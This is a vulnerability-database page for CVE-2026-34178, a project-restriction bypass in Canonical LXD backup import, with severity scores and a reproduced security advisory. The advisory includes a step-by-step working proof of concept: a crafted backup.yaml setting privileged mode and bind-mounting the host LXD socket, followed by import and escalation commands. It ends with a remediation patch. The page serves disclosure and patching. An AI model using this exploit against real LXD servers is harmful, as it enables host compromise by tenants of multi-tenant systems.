CVE-2026-34178

criticalPriorität · verfolgen · 0EPSS 0.004 · 37. PerzentilEURUUS
grimoire priorityP2 · Scheduled
Exploitable?
—
no known exploitation
Likely / severe?
0.42% (37th) EPSS
CVSS 9.1 · critical
Is it mine?
18 products
Prüfe deine Angriffsfläche
Who says so?
5 sources
cnnvd · enisa_euvd · fstec_bdu · osv

EPSS · bewertet 2026-10-27

In Canonical LXD before 6.8, the backup import path validates project restrictions against backup/index.yaml in the supplied tar archive but creates the instance from backup/container/backup.yaml, a separate file in the same archive that is never checked against project restrictions. An authenticated remote attacker with instance-creation permission in a restricted project can craft a backup archive where backup.yaml carries restricted settings such as security.privileged=true or raw.lxc directives, bypassing all project restriction enforcement and allowing full host compromise.

01

cvss

Technischer Schweregrad, 0–10. Eine Zeile je Quelle.

9.1
010

Basiswert 0–10 · höher = schwerwiegender · Vektor überfahren zum Auflösen⚠ Quellen uneinig · high–critical · 8.3–9.1

v3.19.1criticalAV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:Hsecondary · FSTEC (BDU) RU
v3.19.1criticalCVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:Hsecondary · ENISA EU
v3.19.1criticalCVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:Hsecondary · security@ubuntu.comAusnutzbarkeit 2.3 · Auswirkung 6
v3.19.1criticalCVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:Hsecondary · OSV
v3.18.3highCVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H/E:Usecondary · CVSS-BT (t0sche)
02

SSVC

Eine Handlungsentscheidung — aus Ausnutzung und Auswirkung.

Exploitation: poc · Automatable: no · Technical Impact: totalcoordinatorcisa_ssvcUS
03

schwächen

Die CWE-Schwächeklassen, zu denen dies gehört.

04

betroffene Produkte (18)

Betroffene Produkte und Versionsbereiche.

05

Advisories (2)

Hersteller- und Ökosystem-Meldungen dazu.

  • GHSA-q96j-3fmm-7fv4LXD: Importing a crafted backup leads to project restriction bypass2026-04-10ghsa · osvUS

    ## Summary LXD instance backup import validates project restrictions against `backup/index.yaml` embedded in the tar archive, but creates the actual instance from `backup/container/backup.yaml` extracted to the storage volume. Because these are separate, independently attacker-controlled files within the same tar archive, an attacker with instance-creation rights in a restricted project can craft a backup where `index.yaml` contains clean configuration (passing all restriction checks) while `backup.yaml` contains `security.privileged=true`, `raw.lxc` host filesystem mounts, and restricted device types. The instance is created from the unchecked `backup.yaml`, bypassing all project restriction enforcement. ## Details LXD projects support a `restricted=true` mode that enforces security boundaries on what instances within the project can do. These restrictions include blocking `security.privileged=true` containers, `raw.lxc` / `raw.apparmor` overrides, and device passthrough (GPU, USB, PCI, unix-char). These restrictions are intended to prevent container escape vectors regardless of user privilege level within the project. The backup import path has two distinct configuration sources within a single tar archive: 1. `backup/index.yaml` - A quick-access metadata file read by `backup.GetInfo()` at `backup/backup_info.go:68`. This is the config checked against project restrictions. 2. `backup/container/backup.yaml` - The full instance configuration extracted to the storage volume and used for actual instance creation at `api_internal.go:784`. The vulnerability exists because: 1. `AllowInstanceCreation()` at `instances_post.go:885` validates project restrictions using only `bInfo.Config` from `index.yaml`. 2. The tar contents (including `backup/container/backup.yaml`) are extracted to the storage volume at `generic_vfs.go:952` via `unpackVolume()`. 3. `UpdateInstanceConfig()` at `backup_config_utils.go:236` reads `backup.yaml` from storage but only syncs `Name`, `Project`, pool info, and volume UUIDs - it does not overwrite `Instance.Config` or `Instance.Devices`. 4. `internalImportFromBackup()` at `api_internal.go:784` reads `backup.yaml` from the storage mount path (not `index.yaml`) to build the instance database record. 5. `instance.CreateInternal()` at `api_internal.go:946` creates the instance using the config from `backup.yaml`. `CreateInternal` calls `ValidConfig` which validates config key **format** only, not project restriction compliance. ## Proof of Concept ### Environment setup (server admin) These steps are performed by the LXD server administrator to set up the restricted project and grant access to the user. This represents the normal multi-tenant configuration that the exploit targets. ```bash # Create a restricted project lxc project create restricted-project \ -c features.images=false \ -c features.profiles=true \ -c restricted=true # Create a default profile with a root disk in the restricted project lxc profile device add default root disk \ path=/ pool=default --project restricted-project # Create a group with instance management permissions in the restricted project lxc auth group create poc-group lxc auth group permission add poc-group project restricted-project can_view lxc auth group permission add poc-group project restricted-project can_create_instances lxc auth group permission add poc-group project restricted-project can_view_instances lxc auth group permission add poc-group project restricted-project can_operate_instances # Create a TLS identity for the attacker, scoped to the group lxc auth identity create tls/poc-attacker --group poc-group # The attacker uses it to add the remote: # lxc remote add target-lxd <token> ``` After this setup, the attacker can create normal unprivileged instances in `restricted-project` but should not be able to create privileged containers, use `raw.lxc`, or attach GPU/USB/unix-char devices. The exploit bypasses all of these restrictions. ### Steps **1. Create an instance backup archive locally** The attacker constructs the entire backup archive locally. No access to any LXD server is needed for this step. ```shell # Create the backup directory structure mkdir -p backup/container # Build a minimal rootfs with an init system using debootstrap sudo debootstrap --include=systemd-sysv,curl --variant=minbase jammy backup/container/rootfs/ # Create backup index.yaml cat >backup/index.yaml <<EOF version: 2 name: escalated-instance backend: dir pool: default type: container optimized: false config: instance: name: escalated-instance architecture: x86_64 type: container config: {} devices: {} expanded_config: {} expanded_devices: root: path: / pool: default type: disk profiles: - default stateful: false pools: - name: default driver: dir volumes: - name: escalated-instance type: container pool: default content_type: filesystem config: volatile.uuid: "00000000-0000-0000-0000-000000000000" EOF # Create malicious `backup/container/backup.yaml` # This is the file LXD actually uses to create the instance. It contains the # restricted config and devices that should be blocked by the project. LXD # never compares this file against `index.yaml` or re-validates it against # project restrictions. cat > backup/container/backup.yaml <<EOF instance: name: escalated-instance architecture: x86_64 type: container config: security.privileged: "true" raw.lxc: | lxc.mount.entry = /var/snap/lxd/common/lxd/unix.socket unix.socket none bind,create=file 0 0 raw.apparmor: "" devices: {} expanded_config: security.privileged: "true" raw.lxc: | lxc.mount.entry = /var/snap/lxd/common/lxd/unix.socket unix.socket none bind,create=file 0 0 raw.apparmor: "" expanded_devices: root: path: / pool: default type: disk profiles: - default stateful: false pools: - name: default driver: dir volumes: - name: escalated-instance type: container pool: default content_type: filesystem config: volatile.uuid: "00000000-0000-0000-0000-000000000000" EOF # Package the archive tar -cf malicious-backup.tar backup/ ``` **2. Connect to the target LXD server and import the backup** Connect to the target LXD server and confirm restricted access: ```bash # Add the target server as a remote lxc remote add target-lxd <token> # Confirm the attacker's restricted access (command returns restricted=true) lxc project show target-lxd:restricted-project # Confirm the attacker can't launch a privileged container (command should fail) lxc launch ubuntu:22.04 target-lxd:testc --project restricted-project -c security.privileged=true # Import malicious backup lxc import target-lxd: malicious-backup.tar --project restricted-project # Verify the restricted config was accepted into the restricted project lxc config show target-lxd:escalated-instance --project restricted-project # Output contains: # security.privileged: "true" ``` **3. Escalate to full LXD admin** Start the container and use the LXD Unix socket, which was bind-mounted from the host via `raw.lxc`. Local connections over the Unix socket are trusted as full admin with unrestricted access across all projects. ```bash lxc start target-lxd:escalated-instance --project restricted-project # Query the LXD API via the bind-mounted Unix socket (full admin access) lxc exec target-lxd:escalated-instance --project restricted-project -- \ curl -s --unix-socket /unix.socket http://localhost/1.0/projects # From here the attacker has full control: create admin certs, access # all projects, modify any instance, or mount the host filesystem. ``` ## Impact The exploit allows full host compromise from within a restricted project. The requirement is that the user has `can_view_instances`, `can_create_instances` and `can_operate_instances` on the project -- standard permissions for any tenant expected to manage instances. ## Possible remediation Add a second `AllowInstanceCreation` (or `checkInstanceRestrictions`) call after `backup.yaml` is read from storage and before `CreateInternal` is called. In `api_internal.go`, between the `ParseConfigYamlFile` call (line 784) and the `CreateInternal` call (line 946): ```go // After parsing backup.yaml, re-validate project restrictions // against the config that will actually be used for instance creation err = s.DB.Cluster.Transaction(ctx, func(ctx context.Context, tx *db.ClusterTx) error { req := api.InstancesPost{ InstancePut: api.InstancePut{ Config: backupConf.Instance.Config, Devices: backupConf.Instance.Devices, }, Type: api.InstanceType(backupConf.Instance.Type), } return limits.AllowInstanceCreation(ctx, s.GlobalConfig, tx, projectName, req) }) if err != nil { return fmt.Errorf("Backup config violates project restrictions: %w", err) } ``` ### Patches | LXD Series | Interim release | | ------------- | ------------- | | 6 | https://discourse.ubuntu.com/t/lxd-6-7-interim-snap-release-6-7-d814d89/79251/1 | | 5.21 | https://discourse.ubuntu.com/t/lxd-5-21-4-lts-interim-snap-release-5-21-4-aee7e08/79249/1 | | 5.0 | https://discourse.ubuntu.com/t/lxd-5-0-6-lts-interim-snap-release-5-0-6-7fc3b36/79248/1 |

  • GO-2026-5576LXD: Importing a crafted backup leads to project restriction bypass in github.com/canonical/lxd2026-08-11vendor · osvUS

    LXD: Importing a crafted backup leads to project restriction bypass in github.com/canonical/lxd

06

auch bekannt als (6)

Weitere Namen und Kennungen dieser Entität.

07

quellen

Welche Quellen diesen Datensatz belegen und wann.

veröffentlicht 2026-04-09geändert 2026-10-26
08

Referenzen (6)

Externe Belege — Patches, Meldungen, Analysen.

scry

Angreifer nutzen Schwachstellen wie diese gegen im Internet exponierte Dienste aus. Sehen Sie mit einem kostenlosen Passiv-Scan, was exponiert ist.

Kostenloser Scan